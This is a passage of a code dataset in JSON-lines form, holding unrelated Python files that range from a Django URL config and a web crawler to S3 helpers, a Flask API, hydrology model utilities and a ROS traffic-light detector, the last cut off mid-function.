os.listdir(directory):\n\t\t#disp_count = 5\n\t\tif exclude_files and (_file in exclude_files):\n\t\t\tcontinue\n\t\twith open(directory+_file,'r') as f:\n\t\t\tcontents = f.readlines()\n\t\t\tfor item in contents:\n\t\t\t\ttry:\n\t\t\t\t\tsentence = item.split('\\t')[1].strip()\n\t\t\t\t\tfull_content += sentence\n\t\t\t\texcept IndexError:\n\t\t\t\t\tcontinue\n\t\t\t\t# if np.random.binomial(1,0.1):\n\n\t\t\t\t# \tprint sentence\n\t\t\t\t# \ttime.sleep(2)\t\t\t\t\n\t\t\t\t# \tdisp_count -=1 \n\t\t\t\t# \tif not disp_count:\n\t\t\t\t# \t\tprint '*'*100\n\t\t\t\t# \t\tbreak\n\t\t\t\t\t\t\n\t\t\t\t# else:\n\t\t\t\t# \tprint '#'\n\n\treturn wordpunct_tokenize(full_content.lower())","sub_path":"tokenized_text.py","file_name":"tokenized_text.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"242192066","text":"\"\"\"Asignacion URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n #url(r'^',include('apps.Login.urls', namespace = 'login')),\n url(r'^colegio/', include('apps.Colegio.urls', namespace = 'colegio')),\n url(r'^curso/',include('apps.Curso.urls', namespace = 'curso')),\n url(r'^profesor/',include('apps.Profesor.urls', namespace = 'profesor')),\n url(r'^horario/',include('apps.Horario.urls', namespace = 'horario')),\n\n]\n","sub_path":"Asignacion/Asignacion/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"430920829","text":"import urllib.request as request\nimport urllib\nfrom collections import deque\nimport re\n\nqueue = deque()\nvisited = set()\n\nurl = 'https://yande.re/post'\n\nqueue.append(url)\ncount = 1\n\nwhile queue:\n url = queue.popleft()\n visited != {url}\n print('正在抓取第' + str(count) + '个页面。')\n count += 1\n\n try:\n response = request.urlopen(url, timeout = 2)\n except:\n continue\n \n if 'html' not in response.getheader('Content-Type'):\n continue\n\n try:\n data = response.read().decode('UTF-8')\n except:\n continue\n\n link = re.compile('href=\\\"(.+?)\\\"')\n for href in link.findall(data):\n if 'http' in href and href not in visited:\n queue.append(href)\n print(href + ' ---> 加入待下载队列')\n \n\n\n\n\n\n","sub_path":"pic_crawler/post_test.py","file_name":"post_test.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"506511179","text":"import os_setup\nimport logging\nimport boto3\nfrom botocore.exceptions import ClientError\nimport requests\nimport shutil\nfrom botocore.client import Config\nimport os\n\nAWS_ACCESS_KEY = os.environ.get('AWS_ACCESS_KEY_ID')\nAWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')\n\n\ndef create_presigned_url(bucket_name, object_name, expiration=6048000):\n \"\"\"Generate a presigned URL to share an S3 object\n\n :param bucket_name: string\n :param object_name: string\n :param expiration: Time in seconds for the presigned URL to remain valid\n :return: Presigned URL as string. If error, returns None.\n \"\"\"\n\n # Generate a presigned URL for the S3 object\n s3_client = boto3.client('s3', aws_access_key_id=AWS_ACCESS_KEY,\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\n try:\n response = s3_client.generate_presigned_url('get_object',\n Params={'Bucket': bucket_name,\n 'Key': object_name},\n ExpiresIn=expiration)\n except ClientError as e:\n logging.error(e)\n return None\n\n # The response contains the presigned URL\n return response\n\n\ndef upload_file(file_name, bucket, store_name='ETC', object_name='no-name.mp4'):\n \"\"\"Upload a file to an S3 bucket\n\n :param file_name: File to upload\n :param bucket: Bucket to upload to\n :param object_name: S3 object name. If not specified then file_name is used\n :return: True if file was uploaded, else False\n \"\"\"\n\n # If S3 object_name was not specified, use file_name\n if object_name is None:\n object_name = file_name\n\n # Upload the file\n\n try:\n response = s3_client.upload_file(file_name, bucket, '{media}/{video}/{store}/{file_name}'.format(\n media='media', video='video', store=store_name, file_name=object_name))\n except ClientError as e:\n logging.error(e)\n return False\n return True\n\n\ndef resize_in_ratio(image_source, max_width_and_height, resize_source, quality=95):\n from PIL import Image\n response = requests.get(image_source, stream=True)\n file_root = './crawling/temp/temp.jpg'\n with open(file_root, 'wb') as out_file:\n shutil.copyfileobj(response.raw, out_file)\n data = Image.open(file_root)\n source_width, source_height = data.size\n if source_width > source_height:\n result_ratio = source_width / max_width_and_height\n result_width = int(source_width / result_ratio)\n result_height = int(source_height / result_ratio)\n else:\n result_ratio = source_height / max_width_and_height\n result_width = int(source_width / result_ratio)\n result_height = int(source_height / result_ratio)\n result_data = data.resize((result_width, result_height))\n result_data.save(resize_source, 'JPEG', quality=quality)\n print(os.path.getsize(file_root), os.path.getsize(resize_source), '{}% 압축'.format(\n int((1 - os.path.getsize(resize_source)/os.path.getsize(file_root))*100)))\n os.remove(file_root)\n\n\ndef upload_to_s3(file_root, upload_root):\n s3_client = boto3.client('s3', aws_access_key_id=AWS_ACCESS_KEY,\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY,\n config=Config(signature_version='s3v4'))\n with open(file_root, 'rb') as f:\n s3_client.upload_fileobj(f, 'wachu', upload_root)\n video_source = \"https://s3.console.aws.amazon.com/s3/object/wachu/\"+upload_root\n video_source = create_presigned_url(\n 'wachu', upload_root, expiration=6048000)\n","sub_path":"app/crawling/helper/image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"499432041","text":"# Exercise 6\n###############\n\n# Using keys and indexing, grab the 'hello' from the following dictionaries:\nd1 = {'simple_key': 'hello'}\n\nd2 = {'k1': {'k2': 'hello'}}\n\nd3 = {'k1': [{'nest_key': ['this is deep', ['hello']]}]}\n\nd1.get('simple_key')\nd2['k1']['k2']\nd3['k1'][0]['nest_key'][1]\n\n","sub_path":"nested.py","file_name":"nested.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"210558025","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport random as r\n\n#r.seed(123)\ntraining_data={'inp':[[1,1,1],[0,1,1],[1,0,1],[0,0,1]],'out':[1,1,0,0]}\nw1= r.randint(-10,10)\nw2= r.randint(-10,10)\nweights=[w1,w2,1]\nw_=[]\ny_=[]\nprint(training_data)\nprint('hi')\nprint(weights)\n\nfor i in range(0,4):\n calc=0\n for j in range(0,3):\n calc=calc+training_data['inp'][i][j]*weights[j]\n if calc>0:\n y_.append(1)\n else:\n y_.append(-1)\n\nfor i in range(0,10000):\n print('y_::'+str(y_))\n e=0\n for j in range(0,4):\n e=e+(training_data['out'][j]-y_[j])**2\n e=e**0.5\n print(e)\n j=r.randint(0,3)\n t=training_data['out'][j]\n print(str(t)+'+'+str(j))\n if t==y_[j]:\n pass\n else:\n w_=[]\n for k in range(0,3):\n w_.append(weights[k]+training_data['out'][j]*training_data['inp'][j][k])\n weights=w_\n print(weights)\n y_=[]\n for k in range(0,4):\n calc=0\n for j in range(0,3):\n calc=calc+training_data['inp'][k][j]*weights[j]\n if calc>0:\n #print('1')\n y_.append(1)\n else:\n #print('-1')\n y_.append(-1)\n #print('end')","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"249607693","text":"\"\"\"\nValidate everything in this repo, such as syntax, structure, etc.\n\"\"\"\nimport sys\nimport os\nimport glob\nimport yaml\nimport jsonschema\nimport requests\nimport json\nfrom jsonschema.exceptions import ValidationError\n\nfrom test.helpers import get_config, wait_for_arangodb\n\n_CONF = get_config()\n\n# JSON schema for vertex and edge collection schemas found in /schema\nschema_schema = {\n \"type\": \"object\",\n \"required\": [\"name\", \"type\", \"schema\"],\n \"properties\": {\n \"name\": {\n 'title': 'Collection name',\n \"type\": \"string\",\n \"format\": r'^[a-z_]+$'\n },\n 'type': {\n 'type': 'string',\n 'enum': ['vertex', 'edge']\n },\n 'schema': {'type': 'object'}\n }\n}\n\n\ndef validate_json_schemas():\n \"\"\"Validate the syntax of all the JSON schemas.\"\"\"\n print('Validating JSON schemas..')\n names = set() # type: set\n for path in glob.iglob('schemas/**/*.yaml', recursive=True):\n name = os.path.basename(path)\n print(f' validating {path}..')\n with open(path) as fd:\n data = yaml.safe_load(fd)\n jsonschema.validate(data, schema_schema)\n # Check for any duplicate schema names\n if name in names:\n _fatal('Duplicate schemas for name ' + name)\n else:\n names.add(name)\n # Make sure it can be used as a JSON schema\n # If the schema is invalid, a SchemaError will get raised\n # Otherwise, the schema will work and a ValidationError will get raised (what we want)\n try:\n jsonschema.validate({}, data['schema'])\n except ValidationError:\n pass\n except Exception as err:\n print('=' * 80)\n print('Unable to load schema in ' + path)\n print(str(err))\n exit(1)\n # All schemas must be object types\n if data['schema']['type'] != 'object':\n _fatal('Schemas must be an object. Schema in %s is not an object.' % path)\n required = data['schema'].get('required', [])\n # Edges must require _from and _to while vertices must require _key\n has_edge_fields = ('_from' in required and '_to' in required)\n has_delta_edge_fields = ('from' in required and 'to' in required)\n if data['type'] == 'edge' and data.get('delta') and not has_delta_edge_fields:\n _fatal('Time-travel edge schemas must require \"from\" and \"to\" attributes in ' + path)\n elif data['type'] == 'edge' and not data.get('delta') and not has_edge_fields:\n _fatal('Edge schemas must require \"_from\" and \"_to\" attributes in ' + path)\n elif data['type'] == 'vertex' and data.get('delta') and 'id' not in required:\n _fatal('Time-travel vertex schemas must require the \"id\" attribute in ' + path)\n elif data['type'] == 'vertex' and not data.get('delta') and '_key' not in required:\n _fatal('Vertex schemas must require the \"_key\" attribute in ' + path)\n print(f'✓ {name} is valid.')\n print('..all valid.')\n\n\nstored_query_schema = {\n 'type': 'object',\n 'required': ['query', 'name'],\n 'properties': {\n 'name': {'type': 'string'},\n 'params': {'type': 'object'},\n 'query_prefix': {'type': 'string'},\n 'query': {'type': 'string'}\n }\n}\n\n\ndef validate_stored_queries():\n \"\"\"Validate the structure and syntax of all the queries.\"\"\"\n print('Validating AQL queries..')\n names = set() # type: set\n for path in glob.iglob('stored_queries/**/*.yaml', recursive=True):\n print(f' validating {path}..')\n with open(path) as fd:\n data = yaml.safe_load(fd)\n jsonschema.validate(data, stored_query_schema)\n name = data['name']\n filename = os.path.splitext(os.path.basename(path))[0]\n if name != filename:\n _fatal(f'Name key should match filename: {name} vs {filename}')\n if name in names:\n _fatal(f'Duplicate queries named {name}')\n else:\n names.add(name)\n # Make sure `params` can be used as a JSON schema\n if data.get('params'):\n # Make sure it can be used as a JSON schema\n # If the schema is invalid, a SchemaError will get raised\n # Otherwise, the schema will work and a ValidationError will get raised (what we want)\n try:\n jsonschema.validate({}, data['params'])\n except ValidationError:\n pass\n # Params must be of type 'object'\n if data['params'].get('type') != 'object':\n _fatal(\"Params schema must have type 'object'\")\n query = data.get('query_prefix', '') + ' ' + data['query']\n # Parse the AQL query on arangodb\n url = _CONF['db_url'] + '/_api/query'\n resp = requests.post(url, data=json.dumps({'query': query}), auth=_CONF['db_auth'])\n parsed = resp.json()\n if parsed['error']:\n _fatal(parsed['errorMessage'])\n query_bind_vars = set(parsed['bindVars'])\n params = set(data.get('params', {}).get('properties', {}).keys())\n if params != query_bind_vars:\n _fatal((f\"Bind vars are invalid.\\n\"\n f\" Extra vars in query: {query_bind_vars - params}.\\n\"\n f\" Extra params in schema: {params - query_bind_vars}\"))\n print(f'✓ {path} is valid.')\n print('..all valid.')\n\n\n# JSON schema for arangosearch views found in /views\nview_schema = {\n \"type\": \"object\",\n \"required\": [\"name\", \"type\"],\n \"properties\": {\n \"name\": {\n 'title': 'View name',\n \"type\": \"string\",\n \"format\": r'^[a-z_]+$'\n },\n 'type': {\n 'type': 'string',\n 'enum': ['arangosearch']\n }\n }\n}\n\n\ndef validate_views():\n \"\"\"Validate the structure and syntax of arangosearch views\"\"\"\n print('Validating views..')\n names = set() # type: set\n for path in glob.iglob('views/**/*.json', recursive=True):\n print(f' validating {path}..')\n with open(path) as fd:\n data = json.load(fd)\n jsonschema.validate(data, view_schema)\n name = data['name']\n filename = os.path.splitext(os.path.basename(path))[0]\n if name != filename:\n _fatal(f'Name key should match filename: {name} vs {filename}')\n if name in names:\n _fatal(f'Duplicate queries named {name}')\n else:\n names.add(name)\n\n print(f'✓ {name} is valid.')\n print('..all valid.')\n\n\ndef _fatal(msg):\n \"\"\"Fatal error.\"\"\"\n sys.stderr.write(str(msg) + '\\n')\n sys.exit(1)\n\n\nif __name__ == '__main__':\n wait_for_arangodb()\n validate_json_schemas()\n validate_stored_queries()\n validate_views()\n","sub_path":"test/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":6779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"366707518","text":"import socket\nimport sys\n\n\ndef main():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"localhost\", 8080))\n s.sendall(b\"GET / HTTP/1.1\\r\\n\\r\\n\")\n while True:\n sys.stdout.write(s.recv(16384))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bench_socket.py","file_name":"bench_socket.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"243700776","text":"import flopy\nimport numpy as np\n\n\ndef drop_iface(rec):\n \"\"\"\n Removes 'iface' column from stress period data recarray\n \"\"\"\n index = rec.dtype.names.index('iface')\n list_ = rec.tolist()\n for row, i in enumerate(list_):\n list_[row] = list(i)\n del list_[row][index]\n return list_\n\ndef update_mt_spd(model_object, stress_periods):\n \"\"\"\n Rewrites mt3d models spd packages to start/end transient stress_periods\n \"\"\"\n mt3d_spd_packages = {'SSM': flopy.mt3d.Mt3dSsm}\n\n print('Reading stress-period-data of the given model object...')\n print(' '.join(\n [\n 'Writing new packages for stress periods ',\n str(stress_periods[0]),\n ':',\n str(stress_periods[-1])\n ]\n )\n )\n\n for package_name in model_object.get_package_list():\n if package_name in mt3d_spd_packages:\n print('Preparing SPD for ' + package_name + ' package')\n package = model_object.get_package(package_name)\n print('\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"')\n print(package.stress_period_data.data)\n spd = {k: v for\n k, v in package.stress_period_data.data.items()\n if stress_periods[0] <= k <= stress_periods[-1]}\n\n if 'iface' in spd[stress_periods[0]].dtype.names:\n print('Removing IFACE from ' + package_name + ' package SPD')\n spd = {k: drop_iface(v) for k, v in spd}\n\n mt3d_spd_packages[package_name] = mt3d_spd_packages[package_name](\n model_object,\n stress_period_data=spd\n )\n # if package_name == 'BTN':\n # print('Preparing BTN package')\n # btn = flopy.mt3d.Mt3dBtn(model_object)\n \n # perlen = btn.perlen.array[stress_periods[0]:stress_periods[-1] + 1]\n # nstp = btn.nstp.array[stress_periods[0]:stress_periods[-1] + 1]\n # nper = len(stress_periods)\n\n return model_object\n\n\n\ndef update_mf_spd(model_object, stress_periods):\n \"\"\"\n Rewrites modflows models spd packages to start/end transient stress_periods\n \"\"\"\n\n modflow_spd_packages = {'WEL': flopy.modflow.ModflowWel,\n 'LAK': flopy.modflow.ModflowLak,\n 'RIV': flopy.modflow.ModflowRiv,\n 'CHD': flopy.modflow.ModflowChd,\n 'GHB': flopy.modflow.ModflowGhb}\n\n print('Reading stress-period-data of the given model object...')\n print(' '.join(\n [\n 'Writing new packages for stress periods ',\n str(stress_periods[0]),\n ':',\n str(stress_periods[-1])\n ]\n )\n )\n\n for package_name in model_object.get_package_list():\n if package_name in modflow_spd_packages:\n print('Preparing SPD for ' + package_name + ' package')\n package = model_object.get_package(package_name)\n spd = {k: v for\n k, v in package.stress_period_data.data.items()\n if stress_periods[0] <= k <= stress_periods[-1]}\n\n if 'iface' in spd[stress_periods[0]].dtype.names:\n print('Removing IFACE from ' + package_name + ' package SPD')\n spd = {k: drop_iface(v) for k, v in spd}\n\n modflow_spd_packages[package_name] = modflow_spd_packages[package_name](\n model_object,\n stress_period_data=spd\n )\n\n if package_name == 'DIS':\n print('Preparing DIS package')\n dis = model_object.get_package(package_name)\n perlen = dis.perlen.array[stress_periods[0]:stress_periods[-1] + 1]\n nstp = dis.nstp.array[stress_periods[0]:stress_periods[-1] + 1]\n steady = dis.steady.array[stress_periods[0]:stress_periods[-1] + 1]\n nper = len(perlen)\n delc = dis.delc.array\n delr = dis.delr.array\n nlay = dis.nlay\n nrow = dis.nrow\n ncol = dis.ncol\n top = dis.top.array\n botm = dis.botm.array\n laycbd = dis.laycbd.array\n dis_new = flopy.modflow.ModflowDis(\n model_object, nlay=nlay, nrow=nrow, ncol=ncol,\n delr=delr, delc=delc, top=top, steady=steady,\n botm=botm, laycbd=laycbd, perlen=perlen, nstp=nstp,\n nper=nper\n )\n\n return model_object\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"243792340","text":"\"\"\"An API server for covid-19-ui.\"\"\"\nimport json\nimport os\n\nfrom mojimoji import han_to_zen\nfrom flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\nfrom util import load_config\nfrom database import DBHandler\n\nhere = os.path.dirname(os.path.abspath(__file__))\ncfg = load_config()\n\napp = Flask(__name__)\nCORS(app, origins=cfg['access_control_allow_origin'])\n\nmongo = DBHandler(\n host=cfg['database']['host'],\n port=cfg['database']['port'],\n db_name=cfg['database']['db_name'],\n collection_name=cfg['database']['collection_name'],\n es_host=cfg['es']['host'],\n es_port=cfg['es']['port'],\n)\n\n\nclass InvalidUsage(Exception):\n\n status_code = 400\n\n def __init__(self, message, status_code=None, payload=None):\n Exception.__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n rv = dict(self.payload or ())\n rv['message'] = self.message\n return rv\n\n\nclass InvalidPassword(Exception):\n\n status_code = 403\n\n def __init__(self, message, status_code=None, payload=None):\n Exception.__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n rv = dict(self.payload or ())\n rv['message'] = self.message\n return rv\n\n\n@app.route('/')\ndef index():\n return 'it works'\n\n\ndef get_start() -> int:\n start = request.args.get('start', '0') # NOTE: set the default value as a string object.\n if not start.isdecimal():\n raise InvalidUsage('Parameter `start` must be an integer.')\n return int(start)\n\n\ndef get_limit() -> int:\n limit = request.args.get('limit', '10') # NOTE: set the default value as a string object.\n if not limit.isdecimal():\n raise InvalidUsage('Parameter `limit` must be an integer.')\n return int(limit)\n\n\ndef get_lang() -> str:\n lang = request.args.get('lang', 'ja')\n if lang not in {'ja', 'en'}:\n raise InvalidUsage('Allowed languages are `ja` and `en`.')\n return lang\n\n\ndef get_query() -> str:\n return request.args.get('query', '')\n\n\n@app.route('/classes')\n@app.route('/classes/')\n@app.route('/classes//')\ndef classes(class_=None, country=None):\n return jsonify(mongo.classes(class_, country, get_start(), get_limit(), get_lang(), get_query()))\n\n\n@app.route('/countries')\n@app.route('/countries/')\n@app.route('/countries//')\ndef countries(country=None, class_=None):\n return jsonify(mongo.countries(country, class_, get_start(), get_limit(), get_lang()))\n\n\n@app.route('/update', methods=['POST'])\ndef update():\n data = request.get_json()\n\n if data.get('password') != cfg['password']:\n raise InvalidPassword('The password is not correct')\n\n return jsonify(mongo.update_page(\n url=data.get('url'),\n is_about_covid_19=data.get('is_about_COVID-19'),\n is_useful=data.get('is_useful'),\n is_about_false_rumor=data.get('is_about_false_rumor'),\n icountry=data.get('new_displayed_country'),\n etopics=data.get('new_classes'),\n notes=han_to_zen(str(data.get('notes'))),\n category_check_log_path=cfg['database']['category_check_log_path']\n ))\n\n\n@app.route('/history', methods=['GET'])\ndef history():\n url = request.args.get('url')\n with open(cfg['database']['category_check_log_path'], mode='r') as f:\n for line in f.readlines()[::-1]:\n if line.strip():\n edited_info = json.loads(line.strip())\n if edited_info.get('url', '') == url:\n edited_info['is_checked'] = 1\n return jsonify(edited_info)\n return jsonify({'url': url, 'is_checked': 0})\n\n\n@app.route('/meta')\ndef meta():\n lang = get_lang()\n with open(os.path.join(here, 'data', 'meta.json')) as f:\n meta_info = json.load(f)\n\n def reshape_country(country):\n return {\n 'country': country['country'],\n 'name': country['name'][lang],\n 'language': country['language'],\n 'representativeSiteUrl': country['representativeSiteUrl']\n }\n\n meta_info = {\n 'topics': [topic[lang] for topic in meta_info['topics']],\n 'countries': [reshape_country(country) for country in meta_info['countries']]\n }\n\n with open(os.path.join(here, 'data', 'stats.json')) as f:\n stats_info = json.load(f)['stats']\n\n with open(os.path.join(here, 'data', 'sources.json')) as f:\n sources_info = json.load(f)\n\n country_code_index_map = {country['country']: i for i, country in enumerate(meta_info['countries'])}\n for country_code in stats_info:\n meta_info['countries'][country_code_index_map[country_code]]['stats'] = stats_info[country_code]\n meta_info['countries'][country_code_index_map[country_code]]['sources'] = sources_info[country_code]\n\n return jsonify(meta_info)\n\n\n@app.errorhandler(InvalidUsage)\ndef handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n\n@app.errorhandler(InvalidPassword)\ndef handle_invalid_password(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"227086563","text":"#!/usr/bin/env python\n\n\"\"\"\nСоздать текстовый файл (не программно), построчно записать фамилии сотрудников и величину их окладов.\nОпределить, кто из сотрудников имеет оклад менее 20 тыс., вывести фамилии этих сотрудников.\nВыполнить подсчет средней величины дохода сотрудников.\n\"\"\"\n\nTEXT_FILE = \"task03.txt\"\nWORKERS = []\n\n\ndef read_file(file_name):\n try:\n with open(file_name, \"r\") as t_file:\n for line in t_file:\n t = line.split(\",\")\n worker = {\n \"Last name\": t[0],\n \"Salary\": int(t[1])\n }\n WORKERS.append(worker)\n except FileNotFoundError:\n print(f\"File '{TEXT_FILE}' not found\")\n exit(1)\n\n\ndef calculate_statistic(workers):\n low_payed_workers = []\n avg_salary = 0\n for worker in workers:\n avg_salary += worker[\"Salary\"]\n if worker[\"Salary\"] < 20000:\n low_payed_workers.append(worker[\"Last name\"])\n\n avg_salary = avg_salary / len(workers)\n\n print(f\"Average salary: {avg_salary}\")\n print(f\"Worker with salary less than 20k: {low_payed_workers}\")\n\n\ndef main():\n read_file(TEXT_FILE)\n calculate_statistic(WORKERS)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lesson-5/task03.py","file_name":"task03.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"452466897","text":"# coding: utf-8\nfrom django import forms\nfrom django.utils.translation import ugettext as _\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Submit, HTML, Button, Row, Field\nfrom crispy_forms.bootstrap import AppendedText, PrependedText, FormActions\n\nfrom erp_test.models import Basket, Rack, Server\nfrom erp_test.exceptions import BasketIsFilled, BasketSlotIsBusy\n\n\nclass BasketForm(forms.ModelForm):\n\n helper = FormHelper()\n helper.form_class = 'form-horizontal'\n helper.layout = Layout(\n Div(\n Div('name'),\n css_class='row-fluid'\n ),\n Div(\n Div('slot_qty'),\n css_class='row-fluid'\n ),\n Div(\n Div('unit_takes'),\n css_class='row-fluid'\n ),\n\n FormActions(\n Submit('save_changes', _('Save changes'), css_class=\"btn-primary\"),\n Submit('cancel', 'Cancel'),\n )\n )\n\n class Meta:\n model = Basket\n fields = ('name', 'slot_qty', 'unit_takes')\n\n\nclass BasketRackForm(forms.Form):\n\n rack = forms.ChoiceField(\n choices=[('', 'Choose a rack')],\n required=True,\n help_text='displayed only racks with enough gap for the basket')\n position = forms.IntegerField(\n required=False,\n min_value=1)\n\n def __init__(self, *args, **kwargs):\n self.basket = kwargs.pop('basket', None)\n super(BasketRackForm, self).__init__(*args, **kwargs)\n if self.basket:\n racks = Rack.objects.with_fullness('has_empty_height', self.basket.get_height())\n if self.basket.rack:\n racks = list(racks.exclude(id=self.basket.rack.pk))\n racks.insert(0, self.basket.rack)\n self.fields['rack'].choices += [\n (r.id, r.get_name())\n for r in racks\n ]\n\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.form_class = 'form-horizontal'\n self.helper.layout = Layout(\n Div(\n Div('rack'),\n css_class='row-fluid'\n ),\n Div(\n Div('position'),\n css_class='row-fluid'\n ),\n\n FormActions(\n Submit('save_changes', _('Save changes'), css_class=\"btn-primary\"),\n Submit('cancel', 'Cancel'),\n )\n )\n\n\nclass BasketServerForm(forms.Form):\n\n server = forms.ChoiceField(\n choices=[('', 'Choose a server')],\n required=True,\n help_text='displayed only uninstalled servers')\n position = forms.IntegerField(\n required=False,\n min_value=1)\n\n def __init__(self, *args, **kwargs):\n self.basket = kwargs.pop('basket', None)\n self.server = kwargs.pop('server', None)\n super(BasketServerForm, self).__init__(*args, **kwargs)\n\n servers = Server.objects.uninstalled()\n if self.server:\n servers = list(servers.exclude(id=self.server.pk))\n servers.insert(0, self.server)\n self.fields['server'].choices += [\n (s.id, s.get_name())\n for s in servers\n ]\n\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.form_class = 'form-horizontal'\n self.helper.layout = Layout(\n Div(\n Div('server'),\n css_class='row-fluid'\n ),\n Div(\n Div('position'),\n css_class='row-fluid'\n ),\n\n FormActions(\n Submit('save_changes', _('Save changes'), css_class=\"btn-primary\"),\n Submit('cancel', 'Cancel'),\n )\n )\n\n def clean_position(self):\n pos = self.cleaned_data.get('position', None)\n if not pos:\n try:\n pos = self.basket.find_free_position()\n except BasketIsFilled:\n raise forms.ValidationError(_('Basket has no free slots.'), code='invalid')\n\n if pos > self.basket.slot_qty:\n raise forms.ValidationError(_('Basket has only {} slots.').format(self.basket.slot_qty), code='invalid')\n\n try:\n self.basket.validate_position(pos)\n except BasketSlotIsBusy:\n raise forms.ValidationError(_('This slot already taken.'), code='invalid')\n\n return pos\n","sub_path":"src/mbtest1/erp_client/forms/baskets.py","file_name":"baskets.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"158172269","text":"#!/usr/bin/env python\nimport math\nimport rospy\nfrom std_msgs.msg import Int32\nfrom geometry_msgs.msg import PoseStamped, Pose, Point\nfrom styx_msgs.msg import TrafficLightArray, TrafficLight\nfrom styx_msgs.msg import Lane\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\nfrom light_classification.tl_classifier import TLClassifier\nimport tf\n#from math import inf\nimport numpy as np\nimport cv2\nimport yaml\nimport math\nimport time\n\nSTATE_COUNT_THRESHOLD = 3\n\nclass TLDetector(object):\n def __init__(self):\n rospy.init_node('tl_detector')\n\n self.image_count = 467\n self.pose = None\n self.waypoints = None\n self.camera_image = None\n self.lights = []\n\n # can be used used to determine the vehicle's location.\n sub1 = rospy.Subscriber('/current_pose', PoseStamped, self.pose_cb)\n # provides the complete list of waypoints for the course.\n sub2 = rospy.Subscriber('/base_waypoints', Lane, self.waypoints_cb)\n\n '''\n /vehicle/traffic_lights provides you with the location of the traffic light in 3D map space and\n helps you acquire an accurate ground truth data source for the traffic light\n classifier by sending the current color state of all traffic lights in the\n simulator. When testing on the vehicle, the color state will not be available. You'll need to\n rely on the position of the light and the camera image to predict it.\n '''\n sub3 = rospy.Subscriber('/vehicle/traffic_lights', TrafficLightArray, self.traffic_cb)\n\n # provides an image stream from the car's camera. These images are used to determine the color of upcoming traffic lights.\n sub6 = rospy.Subscriber('/image_color', Image, self.image_cb)\n\n config_string = rospy.get_param(\"/traffic_light_config\")\n self.config = yaml.load(config_string)\n\n self.upcoming_red_light_pub = rospy.Publisher('/traffic_waypoint', Int32, queue_size=1)\n\n self.bridge = CvBridge()\n self.light_classifier = TLClassifier()\n self.listener = tf.TransformListener()\n\n self.state = TrafficLight.UNKNOWN\n self.last_state = TrafficLight.UNKNOWN\n self.last_wp = -1\n self.state_count = 0\n\n self.closest_waypoint = 0\n\n self.IGNORE_DISTANCE_LIGHT = 90.0\n self.old_stop_line_pos_wp = []\n self.last_car_position = 0\n rospy.spin()\n\n def pose_cb(self, msg):\n self.pose = msg\n\n def waypoints_cb(self, waypoints):\n self.waypoints = waypoints.waypoints\n\n def traffic_cb(self, msg):\n self.lights = msg.lights\n\n def image_cb(self, msg):\n \"\"\"Identifies red lights in the incoming camera image and publishes the index\n of the waypoint closest to the red light's stop line to /traffic_waypoint\n\n Args:\n msg (Image): image from car-mounted camera\n\n \"\"\"\n #rospy.loginfo('image_cb')\n start_time = 